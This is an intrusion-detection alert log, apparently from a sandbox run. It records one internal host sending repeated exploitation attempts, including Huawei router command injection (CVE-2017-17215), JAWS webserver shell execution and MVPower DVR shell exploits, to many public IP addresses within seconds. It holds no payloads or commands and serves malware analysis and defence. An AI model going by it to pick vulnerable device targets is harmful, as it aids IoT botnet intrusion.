ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.244.102.173

Timestamp:	06/10/24-15:38:02.713903
SID:	2829579
Source Port:	50702
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.78.13.161

Timestamp:	06/10/24-15:37:59.941006
SID:	2829579
Source Port:	33514
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.57.43.253

Timestamp:	06/10/24-15:38:02.715141
SID:	2835222
Source Port:	46712
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.234.210.66

Timestamp:	06/10/24-15:38:00.246351
SID:	2835222
Source Port:	41150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.95.0.54

Timestamp:	06/10/24-15:38:00.261547
SID:	2835222
Source Port:	51604
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.192.98.232

Timestamp:	06/10/24-15:38:02.813306
SID:	2835222
Source Port:	50454
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 148.136.36.100

Timestamp:	06/10/24-15:38:02.304825
SID:	2030092
Source Port:	37678
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.167.195.153

Timestamp:	06/10/24-15:38:02.641973
SID:	2835222
Source Port:	57774
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.159.13.233

Timestamp:	06/10/24-15:38:00.196297
SID:	2835222
Source Port:	48942
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.243.126.82

Timestamp:	06/10/24-15:38:02.702109
SID:	2835222
Source Port:	44722
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.148.119.5

Timestamp:	06/10/24-15:38:02.767730
SID:	2829579
Source Port:	59890
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 86.102.128.211

Timestamp:	06/10/24-15:37:59.795427
SID:	2030092
Source Port:	37488
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.161.103.248

Timestamp:	06/10/24-15:38:00.243948
SID:	2835222
Source Port:	38516
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.64.75.27

Timestamp:	06/10/24-15:38:02.498091
SID:	2835222
Source Port:	49488
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 161.106.196.70

Timestamp:	06/10/24-15:37:59.849795
SID:	2030092
Source Port:	49620
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.179.20.17

Timestamp:	06/10/24-15:38:02.932450
SID:	2829579
Source Port:	33406
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.12.156.197

Timestamp:	06/10/24-15:37:59.955351
SID:	2829579
Source Port:	36294
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.123.247.90

Timestamp:	06/10/24-15:38:00.175015
SID:	2829579
Source Port:	56568
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.179.233.113

Timestamp:	06/10/24-15:38:00.179072
SID:	2829579
Source Port:	50148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 19.71.2.182

Timestamp:	06/10/24-15:38:02.243843
SID:	2030092
Source Port:	56706
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.46.18.42

Timestamp:	06/10/24-15:38:02.669182
SID:	2829579
Source Port:	36132
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.6.6.199

Timestamp:	06/10/24-15:38:02.732625
SID:	2835222
Source Port:	45998
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.216.173.116

Timestamp:	06/10/24-15:37:59.949732
SID:	2835222
Source Port:	59100
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.98.155.71

Timestamp:	06/10/24-15:38:02.645712
SID:	2835222
Source Port:	43262
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.2.80.141

Timestamp:	06/10/24-15:38:02.787074
SID:	2835222
Source Port:	56392
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.0.201.185

Timestamp:	06/10/24-15:38:00.190024
SID:	2835222
Source Port:	46504
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 20.87.200.184

Timestamp:	06/10/24-15:38:02.217969
SID:	2030092
Source Port:	41204
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 51.33.7.198

Timestamp:	06/10/24-15:37:59.809084
SID:	2030092
Source Port:	35328
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 24.223.44.225

Timestamp:	06/10/24-15:37:59.856619
SID:	2025883
Source Port:	43560
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 69.194.229.28

Timestamp:	06/10/24-15:38:02.175938
SID:	2030092
Source Port:	34330
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.240.30.85

Timestamp:	06/10/24-15:38:02.508359
SID:	2835222
Source Port:	58330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 195.209.166.102

Timestamp:	06/10/24-15:37:59.868776
SID:	2025883
Source Port:	42046
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.236.7.25

Timestamp:	06/10/24-15:38:00.007220
SID:	2829579
Source Port:	53538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.28.22.183

Timestamp:	06/10/24-15:38:02.724796
SID:	2829579
Source Port:	52760
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 181.171.108.67

Timestamp:	06/10/24-15:37:59.772200
SID:	2030092
Source Port:	49156
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.154.147.59

Timestamp:	06/10/24-15:38:00.197151
SID:	2829579
Source Port:	48674
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 164.62.170.48

Timestamp:	06/10/24-15:38:02.233909
SID:	2030092
Source Port:	60900
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.215.9.130

Timestamp:	06/10/24-15:38:00.247270
SID:	2829579
Source Port:	59752
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.216.238.129

Timestamp:	06/10/24-15:37:59.969655
SID:	2829579
Source Port:	49034
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.186.239.153

Timestamp:	06/10/24-15:37:59.981701
SID:	2835222
Source Port:	41120
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 134.253.9.177

Timestamp:	06/10/24-15:38:02.226488
SID:	2030092
Source Port:	54626
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.79.220.96

Timestamp:	06/10/24-15:38:02.703161
SID:	2829579
Source Port:	45526
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.86.126.31

Timestamp:	06/10/24-15:37:59.950533
SID:	2829579
Source Port:	38960
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.140.184.247

Timestamp:	06/10/24-15:37:59.977354
SID:	2835222
Source Port:	60878
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.242.68.175

Timestamp:	06/10/24-15:38:02.816370
SID:	2835222
Source Port:	56330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.126.47.34

Timestamp:	06/10/24-15:38:00.213146
SID:	2835222
Source Port:	44874
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 172.189.3.93

Timestamp:	06/10/24-15:38:02.165236
SID:	2030092
Source Port:	53942
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.225.196.18

Timestamp:	06/10/24-15:38:00.000374
SID:	2835222
Source Port:	42520
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 189.184.117.112

Timestamp:	06/10/24-15:38:02.186210
SID:	2030092
Source Port:	52934
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.237.191.106

Timestamp:	06/10/24-15:38:00.205114
SID:	2835222
Source Port:	43116
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.223.243.35

Timestamp:	06/10/24-15:38:00.008957
SID:	2835222
Source Port:	36608
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.78.160.7

Timestamp:	06/10/24-15:38:02.640548
SID:	2829579
Source Port:	52172
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.249.70.243

Timestamp:	06/10/24-15:37:59.930930
SID:	2829579
Source Port:	32834
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.140.21.238

Timestamp:	06/10/24-15:38:00.168829
SID:	2829579
Source Port:	60102
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.139.202.223

Timestamp:	06/10/24-15:38:02.831855
SID:	2829579
Source Port:	49014
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 60.159.195.222

Timestamp:	06/10/24-15:38:02.196419
SID:	2030092
Source Port:	58088
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.21.102.72

Timestamp:	06/10/24-15:38:02.819947
SID:	2829579
Source Port:	46090
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.113.194.151

Timestamp:	06/10/24-15:38:02.490299
SID:	2829579
Source Port:	54648
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.13.119.15

Timestamp:	06/10/24-15:38:00.172951
SID:	2829579
Source Port:	57678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 76.250.8.228

Timestamp:	06/10/24-15:38:02.197003
SID:	2030092
Source Port:	55228
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.35.156.28

Timestamp:	06/10/24-15:38:02.650127
SID:	2829579
Source Port:	36866
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.64.38.156

Timestamp:	06/10/24-15:38:02.698008
SID:	2835222
Source Port:	42586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.106.115.54

Timestamp:	06/10/24-15:38:02.839299
SID:	2829579
Source Port:	57412
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 75.148.35.4

Timestamp:	06/10/24-15:38:02.091217
SID:	2025883
Source Port:	55178
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.228.140.97

Timestamp:	06/10/24-15:38:00.219730
SID:	2835222
Source Port:	46594
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.50.7.2

Timestamp:	06/10/24-15:38:02.725896
SID:	2829579
Source Port:	50012
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.36.1.67

Timestamp:	06/10/24-15:38:02.730340
SID:	2829579
Source Port:	34008
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.147.57.40

Timestamp:	06/10/24-15:38:02.930759
SID:	2829579
Source Port:	33768
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 175.46.116.191

Timestamp:	06/10/24-15:38:02.170154
SID:	2030092
Source Port:	53182
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 176.61.110.28

Timestamp:	06/10/24-15:38:02.221501
SID:	2030092
Source Port:	50200
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.253.166.204

Timestamp:	06/10/24-15:38:02.639864
SID:	2829579
Source Port:	51214
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 162.38.247.40

Timestamp:	06/10/24-15:38:02.136395
SID:	2030092
Source Port:	36728
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.128.46.215

Timestamp:	06/10/24-15:38:00.205893
SID:	2829579
Source Port:	36610
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 64.49.25.82

Timestamp:	06/10/24-15:38:02.192228
SID:	2030092
Source Port:	60074
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.246.40.161

Timestamp:	06/10/24-15:38:02.494522
SID:	2829579
Source Port:	39212
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.213.236.151

Timestamp:	06/10/24-15:38:02.704450
SID:	2835222
Source Port:	40856
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.239.132.115

Timestamp:	06/10/24-15:38:02.866110
SID:	2829579
Source Port:	54502
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 220.219.206.99

Timestamp:	06/10/24-15:37:59.831568
SID:	2030092
Source Port:	53462
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.185.253.184

Timestamp:	06/10/24-15:38:02.726932
SID:	2829579
Source Port:	34468
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.22.241.36

Timestamp:	06/10/24-15:38:00.226767
SID:	2835222
Source Port:	33888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.41.95.201

Timestamp:	06/10/24-15:37:59.957760
SID:	2829579
Source Port:	51050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 67.115.43.219

Timestamp:	06/10/24-15:38:02.084991
SID:	2030092
Source Port:	58912
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.20.242.161

Timestamp:	06/10/24-15:38:02.643438
SID:	2835222
Source Port:	54252
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 62.168.165.136

Timestamp:	06/10/24-15:38:02.087778
SID:	2025883
Source Port:	46684
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.29.244.234

Timestamp:	06/10/24-15:38:00.214768
SID:	2835222
Source Port:	50926
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 208.224.88.164

Timestamp:	06/10/24-15:38:02.115391
SID:	2030092
Source Port:	57908
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.150.80.142

Timestamp:	06/10/24-15:38:02.879110
SID:	2835222
Source Port:	58050
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.111.134.175

Timestamp:	06/10/24-15:38:02.647915
SID:	2835222
Source Port:	51404
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.164.87.115

Timestamp:	06/10/24-15:38:02.680398
SID:	2835222
Source Port:	39902
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.153.65.158

Timestamp:	06/10/24-15:38:00.194715
SID:	2835222
Source Port:	37402
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.17.79.89

Timestamp:	06/10/24-15:38:02.642678
SID:	2835222
Source Port:	41888
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.201.150.156

Timestamp:	06/10/24-15:38:02.801648
SID:	2835222
Source Port:	42440
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.246.123.244

Timestamp:	06/10/24-15:38:00.203547
SID:	2835222
Source Port:	45678
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.13 - Destination IP: 96.171.224.255

Timestamp:	06/10/24-15:37:59.873252
SID:	2025883
Source Port:	52736
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.212.41.218

Timestamp:	06/10/24-15:38:02.759599
SID:	2835222
Source Port:	43962
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.26.246.153

Timestamp:	06/10/24-15:38:00.182265
SID:	2829579
Source Port:	34830
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 156.245.2.205

Timestamp:	06/10/24-15:37:59.995486
SID:	2835222
Source Port:	58564
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.206.110.186

Timestamp:	06/10/24-15:38:00.202797
SID:	2835222
Source Port:	49114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.30.124.178

Timestamp:	06/10/24-15:37:59.943220
SID:	2829579
Source Port:	34092
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.73.57.101

Timestamp:	06/10/24-15:38:00.200487
SID:	2835222
Source Port:	38990
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 197.152.159.10

Timestamp:	06/10/24-15:38:00.188379
SID:	2835222
Source Port:	44576
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 36.200.197.84

Timestamp:	06/10/24-15:38:02.328277
SID:	2030092
Source Port:	34562
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.13 - Destination IP: 41.241.121.248

Timestamp:	06/10/24-15:38:00.014210
SID:	2835222
Source Port:	56360
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 148.32.33.91

Timestamp:	06/10/24-15:38:02.126715
SID:	2030092
Source Port:	43072
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 124.237.240.235

Timestamp:	06/10/24-15:38:02.217347
SID:	2030092
Source Port:	36550
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.13 - Destination IP: 161.147.107.200

Timestamp:	06/10/24-15:37:59.822693
SID:	2030092
Source Port:	34326
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

